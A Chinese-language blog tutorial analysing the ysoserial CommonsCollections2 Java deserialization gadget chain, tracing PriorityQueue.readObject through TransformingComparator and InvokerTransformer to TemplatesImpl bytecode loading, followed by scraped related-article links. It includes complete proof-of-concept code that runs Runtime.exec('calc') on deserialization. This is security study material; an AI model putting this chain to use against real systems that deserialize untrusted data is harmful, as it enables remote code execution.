ysoserial CommonsColletions2分析

前言

此文章是ysoserial中 commons-collections2 的分析文章,所需的知识包括java反射,javassist。

在CC2中是用的 PriorityQueue#reaObject作为反序列化的入口,利用javassist创建了一个攻击类,使用TemplatesImpl类来承载他

而CC1利用链在JDK1.8 8u71版本以后是无法使用的,具体是AnnotationInvocationHandlerreadobject进行了改写。导致高版本中利用链无法使用。

从而引入CC2,CC2需要在commons-collections-4.0版本使用,3.1-3.2.1版本不能去使用,原因是Commons Collections2的payload中使用的TransformingComparator在3.1-3.2.1版本中还没有实现Serializable接口,无法被反序列化。

TransformingComparator

TransformingComparator是一个比较器comparator

在TransformingComparator的构造方法中,传入了两个值transformerdecorated(如图所示)

先理解重点这一句话:

TransformingComparator调用compare方法时,就会调用传入transformer对象的transform方法

具体实现是this.transformer在传入ChainedTransformer后,会调用ChainedTransformer#transform反射链

PriorityQueue

PriorityQueue是一个优先队列,作用是用来排序,重点在于每次排序都要触发传入的比较器comparator的compare()方法

在CC2中,此类用于调用PriorityQueue重写的readObject来作为触发入口

readObject调用了heapify()

heapify()调用了siftDown()

siftDown()需要调用到siftDownUsingComparator

在siftDownUsingComparator中调用了comparator.compare

此步关键来了,如果把这里的成员变量comparator替换为TransformingComparator会发生什么,结合开头说的。

TransformingComparator#compare方法会去调用this.transformertransform方法。

类比通过TransformingComparator的构造函数传入transformer值为ChainedTransformer后,会调用ChainedTransformer的transform方法。这一步又回到了像CC1中的调用方式。

利用链顺序

PriorityQueue.readObject()

PriorityQueue.heapify()

PriorityQueue.siftDown()

PriorityQueue.siftDownUsingComparator()

TransformingComparator.compare()

InvokerTransformer.transformat()

可是要满足以上完整的利用链,需要满足几个条件

1. size>= 2

siftDownUsingComparator(int k, E x)中的满足while (k < half)

在条件while (k < half) 下

因为int half = size >>> 1得到(size >>> 1) - 1 >= 0

解出size>= 2

而size默认值是为0的,需要经过两次offer后变为2,所以

queue.add(1);
queue.add(2);

2. initialCapacity的值要大于1

由构造函数传入initialCapacity的值,当值小于1时候,表达式成立会抛出异常。所以要传入大于或等于1的数即new PriorityQueue(2)

3. comparator != null

comparator 是通过PriorityQueue 的构造方法传入

通过以上,写出poc

Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer(
"getMethod",
new Class[] {String.class, Class[].class },
new Object[] {"getRuntime", new Class[0] }
),
new InvokerTransformer(
"invoke",
new Class[] {Object.class,Object[].class },
new Object[] {null, null }
),
new InvokerTransformer(
"exec",
new Class[] {String.class },
new Object[] { "calc.exe" }
)
};
ChainedTransformer template = new ChainedTransformer(transformers);
TransformingComparator transformingComparator = new TransformingComparator(template); PriorityQueue queue = new PriorityQueue(2, transformingComparator);
queue.add(1);
queue.add(2); ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(queue);
oos.close();
System.out.println(barr.toString());
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
ois.readObject();

此刻会报错,在执行反序列化的时候不会弹出计算器

问题定位到queue.add(2);处,此处调用进入到 TransformingComparator#comparethis.decorated.compare(value1, value2)

此时的this.decorated为ComparableComparator类型

进入ComparableComparator#compare方法,进行了obj1.compareTo(obj2),也就是value1的compareTo

而value1的类型为ProcessImpl,由于 ProcessImpl 没有实现Comparable而无法调用compareTo方法造成报错程序终止,就没有继续执行后面生成序列化数据的代码

既然进入到siftUpUsingComparator 程序会报错。那么是否先可以不传入TransformingComparator对象,让 comparator 为null,从而让他进入到 siftUpComparable(siftUpComparable因为没有进行comparator.compare而不会产生报错)

但是此刻没有传入TransformingComparator对象是无法反序列化执行payload得,所以怎么让PriorityQueue的comparator参数为null,又不会报错呢。

可以先使用add方法后,再利用反射传入TransformingComparator对象

PriorityQueue queue = new PriorityQueue(2);
queue.add(1);
queue.add(2); Field comparator = queue.getClass().getDeclaredField("comparator"); //获取comparator成员变量
comparator.setAccessible(true);
comparator.set(queue,transformingComparator); //设置comparator成员变量的值

最后得出poc:

public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer(
"getMethod",
new Class[] {String.class, Class[].class },
new Object[] {"getRuntime", new Class[0] }
),
new InvokerTransformer(
"invoke",
new Class[] {Object.class,Object[].class },
new Object[] {null, null }
),
new InvokerTransformer(
"exec",
new Class[] {String.class },
new Object[] { "calc.exe" }
)
};
ChainedTransformer template = new ChainedTransformer(transformers);
TransformingComparator transformingComparator = new TransformingComparator(template); PriorityQueue queue = new PriorityQueue(2);
queue.add(1);
queue.add(2); Field comparator = queue.getClass().getDeclaredField("comparator");
comparator.setAccessible(true);
comparator.set(queue,transformingComparator); ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(queue);
oos.close();
System.out.println(barr.toString());
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
ois.readObject(); }

com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl

虽然上面已经可以进行poc构造,但是在CC2的利用链中,却抛弃了CC1中使用的ChainedTransformer,而使用了TemplatesImpl类来承载payload,利用InvokerTransformer来执行TemplatesImpl类中的方法。

因为知识浅薄,暂时想不通为什么作者要复杂化,那我们就跟着作者的思路来分析吧。

我们逆向分析构造:

首先利用javassist来构造一个名为CommonsCollections2的对象,并写入payload后转换为byte数组:

//创建CommonsCollections2对象,父类为AbstractTranslet,注入了payload进构造函数
ClassPool classPool=ClassPool.getDefault();//返回默认的类池
classPool.appendClassPath(AbstractTranslet);//添加AbstractTranslet的搜索路径
CtClass payload=classPool.makeClass("CommonsCollections2");//创建一个CommonsCollections2类
payload.setSuperclass(classPool.get(AbstractTranslet)); //设置CommonsCollections2类的父类为AbstractTranslet
payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");"); //创建一个static方法,并插入runtime
byte[] bytes=payload.toBytecode();//转换为byte数组

在最后的bytes数组可以利用defineClass方法把byte[]类型的数据变成Class对象,然后再newInstance实例化对象时执行无参构造函数

而刚好在TemplatesImpl有个成员变量_bytecodes[],在调用TemplatesImpl#defineTransletClasses方法时,会把 _bytecodes里面的字节码文件加载成Class对象(如下图)

defineClass方法可以从byte[]还原出一个Class对象,Class对象在调用newInstance()方法就会进行实例化

在哪里既调用到了defineTransletClasses方法,也调用到newInstance方法呢?

在TemplatesImpl类中有个getTransletInstance方法调用了defineTransletClasses方法,并且利用_class.newInstance实例化了对象

在这里有两个注意点:

1.此类必须继承了AbstractTranslet,也就是上面利用javassist构造的类,需要加入父类AbstractTranslet的原因

2.TemplatesImpl中_name的值不为null,才会调用到defineTransletClasses

接下来看看getTransletInstance是怎么被调用的

在newTransformer方法中调用了getTransletInstance方法

好了,TemplatesImpl的利用链已经很明显了,这时候我们只需要传入_name和 _bytecodes的值即可。这里利用反射传入两个值

		//通过反射注入bytes的值
Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();//反射创建TemplatesImpl
Field field=templatesImpl.getClass().getDeclaredField("_bytecodes");//反射获取templatesImpl的_bytecodes字段
field.setAccessible(true);
field.set(templatesImpl,new byte[][]{bytes});//将templatesImpl上的_bytecodes字段设置为runtime的byte数组 //通过反射设置_name的值不为null
Field field1=templatesImpl.getClass().getDeclaredField("_name");//反射获取templatesImpl的_name字段
field1.setAccessible(true);
field1.set(templatesImpl,"xxx");//将templatesImpl上的_name字段设置为xxx

这时候已经差不多了,我们只需要调用TemplatesImpl#newTransformer方法就可以运行runtime了。那么有什么方法能调用到newTransformer嘛

这里利用的是InvokerTransformer类的反射调用

InvokerTransformer transformer=new InvokerTransformer("newTransformer",new Class[]{},new Object[]{});

而InvokerTransformer类中利用了反射技术的调用方法是InvokerTransformer#transform,怎么调用到InvokerTransformer#transform

在文章开头说过TransformingComparatorcompare方法会去调用传入参数的transform方法

所以,我们可以通过构造方法传入InvokerTransformer进TransformingComparator(this.transform = InvokerTransformer)

然后再调用TransformingComparator#compare方法,就会调用到InvokerTransformer#transform

TransformingComparator comparator =new TransformingComparator(transformer);

既然已经传入了InvokerTransformer了,怎么调用TransformingComparatorcompare方法呢,现在我们可以使出PriorityQueue了。

在PriorityQueue#siftDownUsingComparator中调用到了compare。

comparator.compare中的成员变量comparator如果为TransformingComparator则完成了TransformingComparator调用compare方法构造

可以通过反射把comparator的值注入成TransformingComparator

		PriorityQueue queue = new PriorityQueue(2);
queue.add(1);
queue.add(1); //获取queue对象的comparator属性
Field field2=queue.getClass().getDeclaredField("comparator");
field2.setAccessible(true); //把comparator的值设置为TransformingComparator
field2.set(queue,TransformingComparator);

回到调用了PriorityQueue#siftDownUsingComparator处,再逆向思维往上推理

siftDownUsingComparator在siftDown调用了

而siftDown由heapify调用

heapify是PriorityQueue反序列readObject时候调用

现在,整个思路已经很明显了,我们来简单总结一遍

  1. 利用javassist构造一个恶意对象,写入payload后转换为byte数组
  2. 利用InvokerTransformer#transform反射调用TemplatesImpl#newTransformer
  3. 利用TransformingComparator#compare调用到InvokerTransformer#transform
  4. 利用PriorityQueue#siftDownUsingComparator调用到TransformingComparator#compare
  5. 利用PriorityQueue#readObject调用到PriorityQueue#siftDownUsingComparator

根据上面的思路构造POC:

package ysoserial.test;

import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer; import java.io.*;
import java.lang.reflect.Field;
import java.util.PriorityQueue; public class TestCC2 {
public static void main(String[] args) throws Exception {
String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"; //创建CommonsCollections2对象,父类为AbstractTranslet,注入了payload进构造函数
ClassPool classPool=ClassPool.getDefault();//返回默认的类池
classPool.appendClassPath(AbstractTranslet);//添加AbstractTranslet的搜索路径
CtClass payload=classPool.makeClass("CommonsCollections2");//创建一个新的public类
payload.setSuperclass(classPool.get(AbstractTranslet)); //设置CommonsCollections2类的父类为AbstractTranslet
payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");"); //创建一个static方法,并插入runtime
byte[] bytes=payload.toBytecode();//转换为byte数组 //通过反射注入bytes的值
Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();//反射创建TemplatesImpl
Field field=templatesImpl.getClass().getDeclaredField("_bytecodes");//反射获取templatesImpl的_bytecodes字段
field.setAccessible(true);
field.set(templatesImpl,new byte[][]{bytes});//将templatesImpl上的_bytecodes字段设置为runtime的byte数组 //通过反射设置_name的值不为null
Field field1=templatesImpl.getClass().getDeclaredField("_name");//反射获取templatesImpl的_name字段
field1.setAccessible(true);
field1.set(templatesImpl,"xxx");//将templatesImpl上的_name字段设置为xxx InvokerTransformer transformer=new InvokerTransformer("newTransformer",new Class[]{},new Object[]{});
TransformingComparator comparator =new TransformingComparator(transformer);//使用TransformingComparator修饰器传入transformer对象 //创建PriorityQueue实例化对象,排序后使size值为2
PriorityQueue queue = new PriorityQueue(2);
queue.add(1);
queue.add(1); Field field2=queue.getClass().getDeclaredField("comparator");//获取PriorityQueue的comparator字段
field2.setAccessible(true);
field2.set(queue,comparator);//设置PriorityQueue的comparator字段值为comparator Field field3=queue.getClass().getDeclaredField("queue");//获取PriorityQueue的queue字段
field3.setAccessible(true);
field3.set(queue,new Object[]{templatesImpl,templatesImpl});//设置PriorityQueue的queue字段内容Object数组,内容为templatesImpl ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(queue);
oos.close(); System.out.println(barr.toString());
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
ois.readObject(); }
}

弹出计算器:

思考在POC的最后几句:

 		Field field3=queue.getClass().getDeclaredField("queue");//获取PriorityQueue的queue字段
field3.setAccessible(true);
field3.set(queue,new Object[]{templatesImpl,templatesImpl});//设置PriorityQueue的queue字段内容Object数组,内容为反射创建的templatesImpl

这里其实是在传入InvokerTransformer#transform中的input

参考:

https://www.cnblogs.com/depycode/p/13583102.html

https://www.cnblogs.com/nice0e3/p/13860621.html

欢迎关注我的公众号,同步更新喔

ysoserial CommonsColletions2分析的更多相关文章

  1. ysoserial CommonsColletions4分析

    ysoserial CommonsColletions4分析 其实CC4就是 CC3前半部分和CC2后半部分 拼接组成的,没有什么新的知识点. 不过要注意的是,CC4和CC2一样需要在commons- ...

  2. ysoserial CommonsColletions1分析

    JAVA安全审计 ysoserial CommonsColletions1分析 前言: 在ysoserial工具中,并没有使用TransformedMap的来触发ChainedTransformer链 ...

  3. ysoserial CommonsCollections2 分析

    在最后一步的实现上,cc2和cc3一样,最终都是通过TemplatesImpl恶意字节码文件动态加载方式实现反序列化. 已知的TemplatesImpl->newTransformer()是最终 ...

  4. ysoserial CommonsColletions7分析

    CC7也是一条比较通用的链了,不过对于其原理的话,其实还是挺复杂的.文章如有错误,敬请大佬们斧正 CC7利用的是hashtable#readObject作为反序列化入口.AbstractMap的equ ...

  5. ysoserial CommonsColletions3分析(2)

    上篇文章讲到CC3的TransformedMap链,这篇我们就来讲一下LazyMap链. 其实LazyMap链还是使用的TemplatesImpl承载payload,InstantiateTransf ...

  6. ysoserial CommonsColletions3分析(1)

    CC3的利用链在JDK8u71版本以后是无法使用的,具体还是由于AnnotationInvocationHandler的readobject进行了改写. 而CC3目前有两条主流的利用链,利用Trans ...

  7. ysoserial CommonsColletions6分析

    CC6的话是一条比较通用的链,在JAVA7和8版本都可以使用,而触发点也是通过LazyMap的get方法. TiedMapEntry#hashCode 在CC5中,通过的是TiedMapEntry的t ...

  8. ysoserial CommonsColletions5分析

    我们知道,AnnotationInvocationHandler类在JDK8u71版本以后,官方对readobject进行了改写. 所以要挖掘出一条能替代的类BadAttributeValueExpE ...

  9. ysoserial commonscollections6 分析

    利用链如下: 其中LazyMap.get()->ChainedTransformer.transform()-InvokerTransformer.transform()与CC1链一致. /* ...

随机推荐

  1. 串、KMP模式匹配算法

    串是由0个或者多个字符组成的有限序列,又名叫字符串. 串的比较: 串的比较是通过组成串的字符之间的编码来进行的,而字符的编码指的是字符在对应字符集中的序号. 计算机中常用的ASCII编码,由8位二进制 ...

  2. OpenStack虚拟网络与物理网络的衔接(flat方式)

    by 无若 这边以CentOS7+Liberty版本为例. 过去一段时间(Juno版本之前版本),OpenStack内的虚拟网络与真正的物理网络衔接主要使用openvswitch,其主要问题是在配置网 ...

  3. SpringBoot-技术专区-用正确的姿势如何用外置tomcat配置及运行(Tomcat优化分析)

    前提概要 在特别特殊的时候,我们可能需要外置tomcat去运行程序,例如alitomcat等特殊场景,方便我们去定时化开发项目或者其他特殊场景. 外置tomcat执行 pom.xml文件首先更改打包方 ...

  4. HandlerInterceptor与WebRequestInterceptor的异同

    相同点 两个接口都可用于Contrller层请求拦截,接口中定义的方法作用也是一样的. //HandlerInterceptor boolean preHandle(HttpServletReques ...

  5. Windows提权总结

    当以低权用户进去一个陌生的windows机器后,无论是提权还是后续做什么,第一步肯定要尽可能的搜集信息.知己知彼,才百战不殆. 常规信息搜集 systeminfo 查询系统信息 hostname 主机 ...

  6. S3C2440—3.用点亮LED来熟悉裸机开发的详细流程

    文章目录 一.硬件知识 1.LED原理图 2.芯片手册 Ⅰ.找LED原理图 Ⅱ.找对应引脚 Ⅲ.在芯片手册中查找引脚信息 Ⅳ.查看寄存器说明 Ⅴ.配置寄存器 二.S3C2440框架与启动过程 三.要用 ...

  7. Python 赋值、浅拷贝、深拷贝之间区别

    赋值 不会开辟新的内存空间,是对原对象值的引用 当原对象值,改变后,赋值的变量也会随之改变 浅拷贝 只会拷贝最外层的对象,会开辟新的内存空间,和原对象是互相独立的 如果这个对象有嵌套对象的话,浅拷贝只 ...

  8. mysql几种连接方式区别

    mysql的几种join 2017年03月19日 14:49:07 carl-zhao 阅读数:7845 标签: mysqlsqljoin 更多 个人分类: MySQL 版权声明:本文为博主原创文章, ...

  9. 【mysql】单表使用索引常见的索引失效

    1. 全值匹配我最爱 全值匹配我最爱指的是,查询的字段按照顺序在索引中都可以匹配到! SQL 中查询字段的顺序,跟使用索引中字段的顺序,没有关系.优化器会在不影响SQL 执行结果的前提下,给 你自动地 ...

  10. Maven解决依赖冲突

    依赖冲突 若项目中多个Jar同时引用了相同的Jar时,会产生依赖冲突,但Maven采用了两种避免冲突的策略,因此在Maven中是不存在依赖冲突的. 短路优先 本项目-->A.jar-->B ...